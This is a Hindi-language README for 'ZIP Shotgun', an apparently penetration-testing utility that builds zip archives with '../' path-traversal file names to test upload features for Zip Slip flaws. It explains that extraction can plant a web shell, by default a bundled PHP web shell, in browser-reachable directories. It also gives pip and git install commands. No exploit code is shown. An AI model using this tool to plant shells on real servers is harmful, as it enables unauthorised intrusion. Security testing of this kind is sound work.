ZIP Shotgun

ज़िप फ़ाइल अपलोड कार्यक्षमता (और ज़िप फ़ाइलों के संभावित निष्कर्षण) की कमज़ोरियों (उर्फ़ Zip Slip) के परीक्षण के लिए उपयोगिता स्क्रिप्ट।

इस स्क्रिप्ट का विचार Silent Signal Techblog - Compressed File Upload And Command Execution और OWASP - Test Upload of Malicious Files से आया है।

Snyk.io ने इस पर एक रिपोर्ट दी है कि यह कैसे काम करता है: Zip Slip vulnerability और विभिन्न भाषाओं में कमज़ोर लाइब्रेरीज़ वाला एक GitHub रिपॉजिटरी: Snyk.io Zip Slip github repo

LiveOverflow का एक शानदार वीडियो भी है जो Zip Slip और Zipperdown कमज़ोरियों पर प्रकाश डालता है: Critical .zip vulnerabilities? - Zip Slip and ZipperDown

यह स्क्रिप्ट एक ऐसा आर्काइव बनाएगी जिसमें फ़ाइलनाम में "../" वाली फ़ाइलें होंगी। निकालने पर यह फ़ाइलों को पिछली निर्देशिकाओं में निकाल सकता है। यह हमलावर को शेल को उन निर्देशिकाओं में निकालने की अनुमति दे सकता है जिन्हें वेब ब्राउज़र से एक्सेस किया जा सकता है।

डिफ़ॉल्ट वेबशेल wwwolf का PHP वेब शेल है और इसका सारा श्रेय WhiteWinterWolf को जाता है। स्रोत यहाँ उपलब्ध है।

स्थापना

Python pip का उपयोग करके स्थापित करें (Python 3 आवश्यक है)

pip3 install zip-shotgun --upgrade
Git रिपॉजिटरी क्लोन करें और स्थापित करें

git clone https://github.com/jpiechowka/zip-shotgun.git

क्लोन किए गए रिपॉजिटरी की रूट निर्देशिका से निष्पादित करें (जहाँ setup.py फ़ाइल स्थित है)

pip3 install . --upgrade
